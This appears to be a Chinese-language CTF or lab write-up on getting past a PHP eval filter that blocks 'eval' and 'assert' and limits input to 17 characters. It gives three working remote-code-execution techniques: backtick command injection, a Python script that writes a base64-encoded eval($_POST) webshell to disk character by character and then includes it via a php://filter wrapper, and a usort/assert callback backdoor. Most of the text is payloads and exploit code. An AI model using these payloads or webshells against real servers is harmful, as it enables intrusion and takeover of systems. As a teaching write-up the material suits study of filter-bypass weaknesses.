在代码中限制了eval和assert的使用,同时限制了param值的长度,该怎么绕过?
代码
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
1
由于eval依然可以使用,那么我们可以通过 `$_GET[1]` 进行传参,使用反引号+GET传参的方式
param=`$_GET[1]`;&1=whoami
2
采用file_put_contents和文件包含
file_put_contents¶m=$_GET[1](N,P,8);
/**
通过get传参,使用file_put_contents(filename,data,flag)函数
有三个参数:filename:选择写入的文件名data:写入的数据flag:写入的方式
*/
这里采用的是追加的方式写入,那为什么第三个参数使用的是8?
原因:由于源代码限制了param的传参的长度,只能想办法进行替换,由于php的底层代码是c语言,通过c语言得知file_put_contents的追加参数对应的数字是8
解决了函数问题,那么该追加什么内容
PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
我们最后要通过include包含一个webshell文件,那么我们要使用最简单的webshell代码
<?php eval($_POST[9])
那为什么要使用base64编码而不直接追加webshell代码进去呢
- 由于php和eval之间的空格,导致追加代码会错误,但是可以通过这种形式解决
<?=eval($_POST[9])
- < 尖括号在file_put_contents中无法追加
我们可以使用脚本进行追加
import requests## 这里的url需要自己修改
url = 'http://你的IP/rce_test1.php'def append_content(param_value):params = {'1': "file_put_contents",'param':f'$_GET[1](N,{param_value},8);'}print(params["param"])response = requests.get(url, params=params)print(response.url)if response.status_code == 200:print(f"Successfully put content in {param_value}")else:print(f"Failed to put content in {param_value}")content_to_append = 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw'
for i in content_to_append:append_content(i)
已经创建完成webshell了,怎么利用呢?
利用文件包含,和hackbar传递post参数
?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
最后,我们来理一理这道题的思路
- 由于限制eval和assert的使用,并做了长度的限制,那么,能否,通过创建一个文件,在里面写入webshell,并通过访问这个文件,从而实现入侵
- 写文件,采用file_put_contents,也就是通过get传参,通过最后的eval调用file_put_contents,通过查找资料,得知可以追加的数字为8
- 由于不能追加<尖括号和空格,所以采用base64编码进行追加
- 追加成功后,采用文件包含和phpfilter伪协议读取文件的内容并解码,同时使用get传参和代码中的eval进行调用
- 最后,通过抓包修改数据或者使用hackbar插件进行利用
3
使用php5.6和可变长参数,通过usort回调后门使用任意代码执行
?1[]=test&1[]=phpinfo();&2=assert
通过hackbar进行post传参
post传参中,…是可变长参数的方法